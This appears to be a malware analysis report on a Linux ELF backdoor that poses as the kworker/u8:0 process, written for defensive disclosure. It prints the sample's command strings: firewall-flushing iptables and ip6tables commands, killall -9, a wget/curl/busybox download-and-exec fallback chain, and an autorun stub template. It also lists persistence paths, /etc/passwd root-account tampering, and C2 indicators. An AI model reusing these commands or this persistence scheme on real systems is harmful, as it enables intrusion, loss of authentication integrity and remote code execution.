Conclusion

The uploaded ZIP expands to a single 32-bit Linux x86 ELF executable (

extracted/b682353325ac23fef31a0c0d4dc657788d77af3d6e4bbc648dc28668df925890-84d770/b682353325ac23fef31a0c0d4dc657788d77af3d6e4bbc648dc28668df925890.elf

, SHA-256 b682353325ac23fef31a0c0d4dc657788d77af3d6e4bbc648dc28668df925890). Static analysis shows code-backed persistence, service suppression, root-account tampering, host-file manipulation, and remote reload/update behavior. Those behaviors are implemented in reachable code paths from the main control loop, not inferred from isolated strings.

Immediate safety implication: if executed on a Linux host, this sample can establish persistence, interfere with local services and firewall rules, alter authentication state, and download/launch additional code.

Scope and Coverage

Uploaded root: b682353325ac23fef31a0c0d4dc657788d77af3d6e4bbc648dc28668df925890.zip

Primary child: extracted/b682353325ac23fef31a0c0d4dc657788d77af3d6e4bbc648dc28668df925890-84d770/b682353325ac23fef31a0c0d4dc657788d77af3d6e4bbc648dc28668df925890.elf

Other extracted items: .elf_extracted/* are extractor-produced section files, not separate authored payloads.

File type: 32-bit little-endian Linux i386 ELF executable.

Static analysis coverage: incomplete but substantial — 94% of code-section bytes disassembled, 110 recovered functions, 12,360 unattributed bytes across 29 regions, 26 unresolved indirect branches.

This coverage gap limits absence-based claims, but it does not materially weaken the malicious verdict because the verdict rests on direct positive evidence in recovered code.

Artifact Relationships and Behavioral Sequence

The artifact set is effectively a single-file native sample inside an encrypted ZIP. The ELF is the only behavior-bearing component identified.

Observed high-level sequence from recovered code:

_start transfers control into sub_804815a, the main orchestration function.

sub_804815a initializes process/network state and invokes multiple subsystems, including sub_804c6da, sub_804d310, sub_804f079, and sub_804f8fe.

sub_804c6da acts as a recurring control loop: it enumerates /proc, uses the process name kworker/u8:0, invokes process/service management routines, and periodically triggers maintenance/infection functions.

Supporting routines then:

suppress competing services and firewall rules,

plant persistence files/scripts,

modify authentication-related files,

and fetch/execute updates or reload payloads.

Key Findings

1. Main loop repeatedly manages processes and triggers malicious maintenance/infection logic

Evidence: sub_804c6da

sub_804c6da:

reads /proc and iterates process entries,

sets a visible identifier to kworker/u8:0

periodically calls sub_804aa78, sub_804ab61, and sub_804f8fe

deletes /usr/bin/mushi and /bin/mushi on a timed cycle.

Relevant recovered strings in this function include:

kworker/u8:0

/proc

/usr/bin/mushi

This is not normal service-management boilerplate. The loop is an active controller that repeatedly surveys local state and invokes other manipulation routines.

2. The sample kills competing daemons, flushes firewall rules, and rewrites `/etc/hosts`

Evidence: sub_804f079

sub_804f079 constructs and executes command strings including:

killall -9

iptables -F 2>/dev/null

iptables -X 2>/dev/null

iptables -t nat -F 2>/dev/null

ip6tables -F 2>/dev/null

ip6tables -X 2>/dev/null

It also opens /etc/hosts, checks for tcp.sanguine.life, and if absent writes 127.0.0.1 entries for a list of names. The same routine renames service/init targets by appending .disabled and drops autorun stubs using the template \n[ -x %s ] && %s &\n to start /var/tmp/.cache/sysd.

Key strings tied to this function:

/etc/hosts

tcp.sanguine.life

127.0.0.1

/var/tmp/.cache/sysd

.disabled

/etc/init.d/system-service

/etc/systemd/system/system-service.service

This is direct evidence of defense evasion, service suppression, and persistence setup.

3. The sample plants Linux and Android-style persistence artifacts

Evidence: strings cross-referenced in recovered code, especially sub_804f079 and sub_804f8fe

Persistence-related paths embedded in the binary include:

/etc/init.d/boot

/etc/init.d/system-service

/etc/systemd/system/system-service.service

/root/.ashrc

/etc/profile

/etc/bash.bashrc

/system/etc/install-recovery.sh

/system/bin/install-recovery.sh

/etc/crontabs/root

sub_804f079 writes launcher content for service/init paths. sub_804f8fe contains Android and cron persistence paths, showing the sample is designed to persist across multiple Linux-like environments rather than serving a legitimate single-platform admin role.

4. The sample tampers with `/etc/passwd` and attempts privileged execution support

Evidence: sub_80505fb

sub_80505fb:

checks and opens /etc/passwd

copies it to /tmp/.sys_pw.bak

searches for root:x: or root:*:

rewrites the file contents,

then references /bin/su, /usr/bin/su, and /bin/busybox.

Recovered strings:

/etc/passwd

/tmp/.sys_pw.bak

root:x:

root:*:

/usr/bin/su

/bin/busybox

That is code-backed authentication tampering. Even without fully naming each helper, the file rewrite and root-account marker handling are explicit.

5. The sample supports remote reload/update by HTTP and shell-based download-and-exec

Evidence: sub_805105f

sub_805105f prepares a reload path by:

logging reload fetch %s

generating an HTTP request GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n

saving content to /tmp/.sys.%s

falling back to shell download commands:

wget -q -O '%s' '%s' 2>/dev/null || curl -fsSL -o '%s' '%s' 2>/dev/null || busybox wget -q -O '%s' '%s' 2>/dev/null

and finally logging reload ok exec %s tag=%s before invoking the downloaded payload.

Additional related strings elsewhere in the same cluster:

/dev/.c2_redirect

/var/tmp/.c2_redirect

/var/run/.c2_redirect

/bin/sh

This is direct staging/update capability, not a harmless diagnostic fetch.

6. The sample contains an internal message/task format consistent with command transport

Evidence: sub_8050a11

sub_8050a11 formats outbound data as:

@TMSG|%u|%.*s\n

and writes it over an already-opened channel. This supports the interpretation that the binary exchanges structured task or control messages with another component or controller. The exact transport peer is not fully resolved from recovered code, but the message framing is explicit.

7. Infection/marker logic ties the sample to a specific dropped binary and configuration markers

Evidence: sub_804a9f4, sub_804aa78

These routines look for markers such as:

/var/tmp/.cache/sysd

217.60.103.135

system-service

# sysmon

sub_804aa78 reads candidate files and checks for those markers before taking action. This indicates the sample recognizes and manages its own deployed artifacts/configuration.

Indicators and Context

These are meaningful because they are tied to recovered logic, not just present as stray strings.

Network / control

tcp.sanguine.life — checked and inserted into /etc/hosts by sub_804f079

217.60.103.135 — infection/config marker referenced by sub_804a9f4

http:// / https:// — used in reload/update logic

HTTP request template: GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n

Task/message format: @TMSG|%u|%.*s\n

Persistence / filesystem

/var/tmp/.cache/sysd

/etc/init.d/boot

/etc/init.d/system-service

/etc/systemd/system/system-service.service

/system/etc/install-recovery.sh

/system/bin/install-recovery.sh

/etc/crontabs/root

/dev/.c2_redirect

/var/tmp/.c2_redirect

/var/run/.c2_redirect

/tmp/.sys.%s

/tmp/.sys_pw.bak

Defense evasion / suppression

killall -9

iptables -F 2>/dev/null

iptables -X 2>/dev/null

iptables -t nat -F 2>/dev/null

ip6tables -F 2>/dev/null

ip6tables -X 2>/dev/null

process name kworker/u8:0

Alternative Explanations and Contrary Evidence

The strongest alternative explanation is that this is some kind of aggressive service-management or recovery utility. The recovered code does not support that interpretation.

Why the benign/admin explanation fails:

legitimate service tools do not usually rewrite /etc/passwd looking for root:x: / root:*: and keep a backup at /tmp/.sys_pw.bak;

they do not typically flush IPv4 and IPv6 firewall rules and kill named daemons en masse;

they do not plant launcher stubs for /var/tmp/.cache/sysd across init, systemd, shell profile, cron, and Android recovery paths;

they do not implement fallback wget/curl/busybox wget download-and-exec chains for reload operations.

Some strings such as system-service and # sysmon may try to make the payload look administrative, but the observed behaviors are materially inconsistent with a legitimate system-management tool.

Unknowns

Unrecovered code remains: analysis coverage is 94%, with unattributed regions and unresolved indirect branches. Additional capabilities may exist in the uncovered 6%.

Exact C2/session protocol: the sample clearly builds task/message strings and reloads payloads, but the full command grammar and live network flow were not dynamically exercised here.

Platform branching details: the binary includes Linux and Android-style persistence paths; the exact runtime branching among these targets was inferred statically rather than observed dynamically.

These unknowns do not affect the verdict because the malicious behaviors above are already directly established.

Verdict Rationale

This sample is malicious because the verdict is supported by recovered code implementing unauthorized and harmful actions:

persistence across multiple startup mechanisms,

suppression of services and firewall rules,

host-file manipulation,

root-account/password-file tampering,

and remote payload retrieval/execution.

The artifact set contains one behavior-bearing ELF, and its malicious logic is reachable from the main orchestration path. The remaining uncertainty is about additional functionality, not about whether the sample is malicious.

Linux backdoor analysis: kworker masquerade with root account tampering

Conclusion

Scope and Coverage

Artifact Relationships and Behavioral Sequence

Key Findings

1. Main loop repeatedly manages processes and triggers malicious maintenance/infection logic

2. The sample kills competing daemons, flushes firewall rules, and rewrites `/etc/hosts`

3. The sample plants Linux and Android-style persistence artifacts

4. The sample tampers with `/etc/passwd` and attempts privileged execution support

5. The sample supports remote reload/update by HTTP and shell-based download-and-exec

6. The sample contains an internal message/task format consistent with command transport

7. Infection/marker logic ties the sample to a specific dropped binary and configuration markers

Indicators and Context

Network / control

Persistence / filesystem

Defense evasion / suppression

Alternative Explanations and Contrary Evidence

Unknowns

Verdict Rationale

About Delphos Labs Analysis

Linux backdoor analysis: kworker masquerade with root account tampering

Conclusion

Scope and Coverage

Artifact Relationships and Behavioral Sequence

Key Findings

1. Main loop repeatedly manages processes and triggers malicious maintenance/infection logic

2. The sample kills competing daemons, flushes firewall rules, and rewrites /etc/hosts

3. The sample plants Linux and Android-style persistence artifacts

4. The sample tampers with /etc/passwd and attempts privileged execution support

5. The sample supports remote reload/update by HTTP and shell-based download-and-exec

6. The sample contains an internal message/task format consistent with command transport

7. Infection/marker logic ties the sample to a specific dropped binary and configuration markers

Indicators and Context

Network / control

Persistence / filesystem

Defense evasion / suppression

Alternative Explanations and Contrary Evidence

Unknowns

Verdict Rationale

About Delphos Labs Analysis

2. The sample kills competing daemons, flushes firewall rules, and rewrites `/etc/hosts`

4. The sample tampers with `/etc/passwd` and attempts privileged execution support